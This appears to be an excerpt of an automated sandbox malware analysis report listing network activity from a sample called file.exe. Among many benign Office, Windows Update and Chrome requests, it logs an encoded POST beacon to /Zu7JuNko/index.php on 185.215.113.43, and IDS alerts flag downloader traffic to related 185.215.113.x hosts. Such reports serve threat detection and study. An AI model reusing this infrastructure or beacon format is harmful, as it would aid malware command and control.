Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49708 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49787 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49825 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA4CC60 PR_Recv,

0_2_6CA4CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4FVHXPsVhxKz9S8&MD=vks3goxo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
